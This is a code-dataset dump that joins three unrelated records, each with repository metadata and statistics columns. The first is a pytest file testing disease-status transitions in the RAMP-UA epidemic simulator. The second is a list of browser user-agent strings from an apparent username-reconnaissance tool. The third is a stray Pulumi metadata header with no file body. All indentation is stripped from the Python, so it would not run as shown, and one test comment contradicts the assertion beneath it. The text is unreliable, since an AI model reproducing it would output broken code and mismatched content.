tests/opencl/test_update_statuses_kernel.py
|
manluow/RAMP-UA
|
45ddd280b16c81c42431a61121a8e0cdb941c4f4
|
[
"MIT"
] | null | null | null |
tests/opencl/test_update_statuses_kernel.py
|
manluow/RAMP-UA
|
45ddd280b16c81c42431a61121a8e0cdb941c4f4
|
[
"MIT"
] | null | null | null |
tests/opencl/test_update_statuses_kernel.py
|
manluow/RAMP-UA
|
45ddd280b16c81c42431a61121a8e0cdb941c4f4
|
[
"MIT"
] | null | null | null |
import numpy as np
from matplotlib import pyplot as plt
import scipy.stats
from microsim.opencl.ramp.params import Params
from microsim.opencl.ramp.simulator import Simulator
from microsim.opencl.ramp.snapshot import Snapshot
from microsim.opencl.ramp.disease_statuses import DiseaseStatus
nplaces = 8
npeople = 50000
nslots = 8
def test_susceptible_become_infected():
snapshot = Snapshot.random(nplaces, npeople, nslots)
test_hazard = 0.4
people_hazards_test_data = np.full(npeople, test_hazard, dtype=np.float32)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Susceptible.value, dtype=np.uint32)
people_transition_times_test_data = np.zeros(npeople, dtype=np.uint32)
snapshot.buffers.people_hazards[:] = people_hazards_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
simulator.step_kernel("people_update_statuses")
people_statuses_after = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after)
num_exposed = np.count_nonzero(people_statuses_after == DiseaseStatus.Exposed.value)
proportion_exposed = num_exposed / npeople
expected_proportion_infected = 1.0 - np.exp(-test_hazard)
assert np.isclose(expected_proportion_infected, proportion_exposed, atol=0.01)
def test_transmission_times_decremented():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_transition_times_test_data = np.full(npeople, 3, dtype=np.uint32)
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
# check decremented after one step
simulator.step_kernel("people_update_statuses")
people_transmission_times_after = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_transition_times", people_transmission_times_after)
expected_people_transition_times = np.full(npeople, 2, dtype=np.uint32)
assert np.array_equal(expected_people_transition_times, people_transmission_times_after)
# check decremented after another step
simulator.step_kernel("people_update_statuses")
people_transmission_times_after = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_transition_times", people_transmission_times_after)
expected_people_transition_times = np.full(npeople, 1, dtype=np.uint32)
assert np.array_equal(expected_people_transition_times, people_transmission_times_after)
def test_exposed_become_asymptomatic_or_presymptomatic():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Exposed.value, dtype=np.uint32)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
# set all people to obesity=0, corresponding to normal BMI
people_obesity_test_data = np.full(npeople, 0, dtype=np.uint8)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
people_ages_test_data = np.full(npeople, 18, dtype=np.uint16)
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_obesity[:] = people_obesity_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
snapshot.buffers.people_ages[:] = people_ages_test_data
params = Params()
expected_proportion_asymptomatic = 0.79
params.proportion_asymptomatic = expected_proportion_asymptomatic
snapshot.update_params(params)
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
simulator.step_kernel("people_update_statuses")
# check that statuses don't change after one step
people_statuses_after_one_step = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_one_step)
assert np.array_equal(people_statuses_after_one_step, people_statuses_test_data)
# run another timestep, this time statuses should change
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either symptomatic or asymptomatic in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_asymptomatic = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Asymptomatic.value)
result_proportion_asymptomatic = num_asymptomatic / npeople
num_presymptomatic = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Presymptomatic.value)
result_proportion_presymptomatic = num_presymptomatic / npeople
expected_proportion_presymptomatic = 1 - expected_proportion_asymptomatic
assert np.isclose(expected_proportion_asymptomatic, result_proportion_asymptomatic, atol=0.01)
assert np.isclose(expected_proportion_presymptomatic, result_proportion_presymptomatic, atol=0.01)
def test_more_overweight_become_symptomatic():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Exposed.value, dtype=np.uint32)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
# set all people to obesity=2, corresponding to overweight
people_obesity_test_data = np.full(npeople, 2, dtype=np.uint8)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
people_ages_test_data = np.full(npeople, 18, dtype=np.uint16)
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_obesity[:] = people_obesity_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
snapshot.buffers.people_ages[:] = people_ages_test_data
params = Params()
base_proportion_asymptomatic = 0.79
params.proportion_asymptomatic = base_proportion_asymptomatic
overweight_sympt_mplier = 1.46
params.overweight_sympt_mplier = overweight_sympt_mplier
snapshot.update_params(params)
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
simulator.step_kernel("people_update_statuses")
# check that statuses don't change after one step
people_statuses_after_one_step = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_one_step)
assert np.array_equal(people_statuses_after_one_step, people_statuses_test_data)
# run another timestep, this time statuses should change
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either symptomatic or asymptomatic in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_asymptomatic = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Asymptomatic.value)
result_proportion_asymptomatic = num_asymptomatic / npeople
num_presymptomatic = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Presymptomatic.value)
result_proportion_presymptomatic = num_presymptomatic / npeople
base_proportion_symptomatic = 1 - base_proportion_asymptomatic
expected_proportion_presymptomatic = overweight_sympt_mplier * base_proportion_symptomatic
expected_proportion_asymptomatic = 1 - expected_proportion_presymptomatic
assert np.isclose(expected_proportion_asymptomatic, result_proportion_asymptomatic, atol=0.01)
assert np.isclose(expected_proportion_presymptomatic, result_proportion_presymptomatic, atol=0.01)
def test_presymptomatic_become_symptomatic():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Presymptomatic.value, dtype=np.uint32)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
simulator.step_kernel("people_update_statuses")
# check that statuses don't change after one step
people_statuses_after_one_step = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_one_step)
assert np.array_equal(people_statuses_after_one_step, people_statuses_test_data)
# run another timestep, this time statuses should change
simulator.step_kernel("people_update_statuses")
# assert that all statuses change to symptomatic after two timesteps
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
assert np.all(people_statuses_after_two_steps == DiseaseStatus.Symptomatic.value)
def test_symptomatic_become_recovered_or_dead_young_age():
# NB: run with more people since chance of young people dying is low
npeople = 500000
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_ages_test_data = np.full(npeople, 25, dtype=np.uint16)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Symptomatic.value, dtype=np.uint32)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_ages[:] = people_ages_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
simulator.step_kernel("people_update_statuses")
# check that statuses don't change after one step
people_statuses_after_one_step = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_one_step)
assert np.array_equal(people_statuses_after_one_step, people_statuses_test_data)
# run another timestep, this time statuses should change
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either recovered or dead in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_recovered = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Recovered.value)
proportion_recovered = num_recovered / npeople
num_dead = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Dead.value)
proportion_dead = num_dead / npeople
# expected recovery probability for ages 20 to 29
expected_proportion_dead = 0.0004
expected_proportion_recovered = 1 - expected_proportion_dead
assert np.isclose(expected_proportion_recovered, proportion_recovered, atol=0.0001)
assert np.isclose(expected_proportion_dead, proportion_dead, atol=0.0001)
def test_symptomatic_become_recovered_or_dead_old_age():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_ages_test_data = np.full(npeople, 92, dtype=np.uint16)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Symptomatic.value, dtype=np.uint32)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_ages[:] = people_ages_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
# run two timesteps so statuses should change
simulator.step_kernel("people_update_statuses")
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either recovered or dead in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_recovered = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Recovered.value)
proportion_recovered = num_recovered / npeople
num_dead = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Dead.value)
proportion_dead = num_dead / npeople
# expected recovery probability for ages 80+
expected_proportion_dead = 0.1737
expected_proportion_recovered = 1 - expected_proportion_dead
assert np.isclose(expected_proportion_recovered, proportion_recovered, atol=0.01)
assert np.isclose(expected_proportion_dead, proportion_dead, atol=0.01)
def test_not_obese_lower_mortality():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_ages_test_data = np.full(npeople, 65, dtype=np.uint16)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Symptomatic.value, dtype=np.uint32)
# set all people to obesity=0, corresponding to normal BMI
people_obesity_test_data = np.full(npeople, 0, dtype=np.uint8)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_ages[:] = people_ages_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_obesity[:] = people_obesity_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
params = Params()
params.obesity_multipliers = [1.0, 1.48, 1.48, 1.9]
snapshot.update_params(params)
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
# run two timesteps so statuses should change
simulator.step_kernel("people_update_statuses")
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either recovered or dead in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_recovered = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Recovered.value)
proportion_recovered = num_recovered / npeople
num_dead = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Dead.value)
proportion_dead = num_dead / npeople
# expected recovery probability for ages 60-70
expected_proportion_dead = 0.0193
expected_proportion_recovered = 1 - expected_proportion_dead
assert np.isclose(expected_proportion_recovered, proportion_recovered, atol=0.01)
assert np.isclose(expected_proportion_dead, proportion_dead, atol=0.01)
def test_obese_higher_mortality():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_ages_test_data = np.full(npeople, 65, dtype=np.uint16)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Symptomatic.value, dtype=np.uint32)
# set all people to obesity=4, corresponding to the highest category
people_obesity_test_data = np.full(npeople, 4, dtype=np.uint8)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_ages[:] = people_ages_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_obesity[:] = people_obesity_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
params = Params()
high_bmi_mortality = 1.9
params.obesity_multipliers = [1.0, 1.48, 1.48, high_bmi_mortality]
snapshot.update_params(params)
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
# run two timesteps so statuses should change
simulator.step_kernel("people_update_statuses")
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either recovered or dead in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_recovered = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Recovered.value)
proportion_recovered = num_recovered / npeople
num_dead = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Dead.value)
proportion_dead = num_dead / npeople
# expected recovery probability for ages 60-70
expected_proportion_dead = 0.0193
expected_proportion_dead *= high_bmi_mortality
expected_proportion_recovered = 1 - expected_proportion_dead
assert np.isclose(expected_proportion_recovered, proportion_recovered, atol=0.01)
assert np.isclose(expected_proportion_dead, proportion_dead, atol=0.01)
def test_diabetes_higher_mortality():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_ages_test_data = np.full(npeople, 65, dtype=np.uint16)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Symptomatic.value, dtype=np.uint32)
# set all people to diabetes=1
people_diabetes_test_data = np.ones(npeople, dtype=np.uint8)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_ages[:] = people_ages_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_diabetes[:] = people_diabetes_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
params = Params()
diabetes_multiplier = 1.4
params.diabetes_multiplier = diabetes_multiplier
snapshot.update_params(params)
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
# run two timesteps so statuses should change
simulator.step_kernel("people_update_statuses")
simulator.step_kernel("people_update_statuses")
# assert that statuses change to either recovered or dead in the correct proportion
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
num_recovered = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Recovered.value)
proportion_recovered = num_recovered / npeople
num_dead = np.count_nonzero(people_statuses_after_two_steps == DiseaseStatus.Dead.value)
proportion_dead = num_dead / npeople
# expected recovery probability for ages 60-70
expected_proportion_dead = 0.0193
expected_proportion_dead *= diabetes_multiplier
expected_proportion_recovered = 1 - expected_proportion_dead
assert np.isclose(expected_proportion_recovered, proportion_recovered, atol=0.01)
assert np.isclose(expected_proportion_dead, proportion_dead, atol=0.01)
def test_all_asymptomatic_become_recovered():
snapshot = Snapshot.random(nplaces, npeople, nslots)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Asymptomatic.value, dtype=np.uint32)
people_transition_times_test_data = np.full(npeople, 1, dtype=np.uint32)
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
assert np.array_equal(people_statuses_before, people_statuses_test_data)
simulator.step_kernel("people_update_statuses")
# check that statuses don't change after one step
people_statuses_after_one_step = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_one_step)
assert np.array_equal(people_statuses_after_one_step, people_statuses_test_data)
# run another timestep, this time statuses should change
simulator.step_kernel("people_update_statuses")
# assert that all statuses change to presymptomatic after two timesteps
people_statuses_after_two_steps = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after_two_steps)
assert np.all(people_statuses_after_two_steps == DiseaseStatus.Recovered.value)
def test_infection_transition_times_distribution(visualize=False):
npeople = 1000000
snapshot = Snapshot.random(nplaces, npeople, nslots)
test_hazard = 0.9
people_hazards_test_data = np.full(npeople, test_hazard, dtype=np.float32)
people_statuses_test_data = np.full(npeople, DiseaseStatus.Presymptomatic.value, dtype=np.uint32)
people_transition_times_test_data = np.zeros(npeople, dtype=np.uint32)
snapshot.buffers.people_hazards[:] = people_hazards_test_data
snapshot.buffers.people_statuses[:] = people_statuses_test_data
snapshot.buffers.people_transition_times[:] = people_transition_times_test_data
params = Params()
infection_log_scale = 0.75
infection_mode = 7.0
params.infection_log_scale = infection_log_scale
params.infection_mode = infection_mode
snapshot.update_params(params)
simulator = Simulator(snapshot, gpu=False)
simulator.upload_all(snapshot.buffers)
simulator.step_kernel("people_update_statuses")
people_statuses_after = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after)
people_transition_times_after = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_transition_times", people_transition_times_after)
# Check that transition times are distributed with a log-normal distribution
adjusted_transition_times = people_transition_times_after + 1
mean = adjusted_transition_times.mean()
std_dev = adjusted_transition_times.std()
mode = scipy.stats.mode(adjusted_transition_times)[0][0]
meanlog = infection_log_scale**2 + np.log(infection_mode)
expected_samples = np.random.lognormal(mean=meanlog, sigma=infection_log_scale, size=npeople)
# round samples to nearest integer
expected_samples = np.rint(expected_samples)
expected_mean = expected_samples.mean()
expected_std_dev = expected_samples.std()
expected_mode = scipy.stats.mode(expected_samples)[0][0]
# Float to integer rounding and clamping at zero makes the original random numbers hard
# to recover so we have slightly larger tolerances here to avoid false negatives.
assert np.isclose(expected_mean, mean, atol=0.7)
assert np.isclose(expected_std_dev, std_dev, atol=0.4)
assert np.isclose(expected_mode, mode, atol=1.0)
# check that mode is similar to original mode parameter
assert np.isclose(infection_mode, mode, atol=1.0)
if visualize: # show histogram of distribution
fig, ax = plt.subplots(1, 1)
ax.hist(adjusted_transition_times, bins=50, range=[0, 60])
plt.title("Result Samples")
plt.show()
fig, ax = plt.subplots(1, 1)
ax.hist(expected_samples, bins=50, range=[0, 60])
plt.title("Expected Samples")
plt.show()
def test_seed_initial_infections_all_high_risk():
npeople = 200
snapshot = Snapshot.random(nplaces, npeople, nslots)
# set all people as high risk
snapshot.area_codes = np.full(npeople, "E02004143") # high risk area code
snapshot.not_home_probs = np.full(npeople, 0.8)
num_seed_days = 5
simulator = Simulator(snapshot, gpu=False, num_seed_days=num_seed_days)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
# assert that no people are infected before seeding
assert not people_statuses_before.any()
# run one step with seeding and check number of infections
simulator.step_with_seeding()
people_statuses_after = np.zeros(snapshot.npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after)
expected_num_infections = 37 # taken from devon_initial_cases.csv file
num_people_infected = np.count_nonzero(people_statuses_after)
assert num_people_infected == expected_num_infections
# run another step with seeding and check number of infections
simulator.step_with_seeding()
people_statuses_after = np.zeros(snapshot.npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after)
expected_num_infections += 38 # taken from devon_initial_cases.csv file
num_people_infected = np.count_nonzero(people_statuses_after)
assert num_people_infected == expected_num_infections
def test_seed_initial_infections_some_low_risk():
npeople = 200
snapshot = Snapshot.random(nplaces, npeople, nslots)
# set all people as high risk
snapshot.area_codes = np.full(npeople, "E02004187") # low risk area code
snapshot.area_codes[1:4] = "E02004143" # high risk area code
snapshot.not_home_probs = np.full(npeople, 0.0)
snapshot.not_home_probs[1:4] = 0.8
num_seed_days = 5
simulator = Simulator(snapshot, gpu=False, num_seed_days=num_seed_days)
simulator.upload_all(snapshot.buffers)
people_statuses_before = np.zeros(npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_before)
# assert that no people are infected before seeding
assert not people_statuses_before.any()
# run one step with seeding and check number of infections
simulator.step_with_seeding()
people_statuses_after = np.zeros(snapshot.npeople, dtype=np.uint32)
simulator.download("people_statuses", people_statuses_after)
expected_num_infections = 3 # taken from devon_initial_cases.csv file
num_people_infected = np.count_nonzero(people_statuses_after)
assert num_people_infected == expected_num_infections
| 43.222395
| 112
| 0.787457
| 3,614
| 27,792
| 5.726895
| 0.066685
| 0.120404
| 0.057834
| 0.05682
| 0.868822
| 0.862492
| 0.857226
| 0.840847
| 0.835822
| 0.827608
| 0
| 0.017423
| 0.134679
| 27,792
| 642
| 113
| 43.28972
| 0.843195
| 0.105066
| 0
| 0.745547
| 0
| 0
| 0.043319
| 0.022284
| 0
| 0
| 0
| 0
| 0.109415
| 1
| 0.035623
| false
| 0
| 0.017812
| 0
| 0.053435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
909b5edc158ab51e7f3afb80b033e3a52c6203ab
| 4,555
|
py
|
Python
|
resources/headers.py
|
vijaysahuofficial/UserReCon
|
23b26e42c84555b51fe6967bfb32ca3a7bb25a95
|
[
"MIT"
] | 10
|
2021-08-16T13:58:45.000Z
|
2022-02-17T03:35:59.000Z
|
resources/headers.py
|
mkdirlove/UserReCon
|
23b26e42c84555b51fe6967bfb32ca3a7bb25a95
|
[
"MIT"
] | 1
|
2021-08-16T22:07:16.000Z
|
2021-08-17T05:54:23.000Z
|
resources/headers.py
|
mkdirlove/UserReCon
|
23b26e42c84555b51fe6967bfb32ca3a7bb25a95
|
[
"MIT"
] | 3
|
2021-08-17T08:10:25.000Z
|
2021-10-30T15:55:06.000Z
|
headers = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Edg/92.0.902.55",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 UBrowser/6.2.4091.2 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0",
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.90 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36 Edg/91.0.864.71",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36,gzip(gfe)",
"Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 UBrowser/7.0.185.1002 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.99",
"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Mozilla/5.0 (Linux; Android 11; SM-M115F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 8.0.0; SM-A750GN) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/169.1.385914506 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.80 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36/swoLZb83-26"]
| 146.935484
| 228
| 0.603952
| 750
| 4,555
| 3.645333
| 0.16
| 0.080468
| 0.098756
| 0.168983
| 0.841258
| 0.841258
| 0.821141
| 0.760424
| 0.712509
| 0.67008
| 0
| 0.252284
| 0.255104
| 4,555
| 30
| 229
| 151.833333
| 0.553492
| 0
| 0
| 0
| 0
| 1
| 0.799341
| 0.015148
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
90d0d114812261905e35dd5722dbf5881a0f91f6
| 34,515
|
py
|
Python
|
sdk/python/pulumi_mongodbatlas/alert_configuration.py
|
pulumi/pulumi-mongodbatlas
|
0d5c085dcfd871b56fb4cf582620260b70caa07a
|
[
"ECL-2.0",
"Apache-2.0"
] | 9
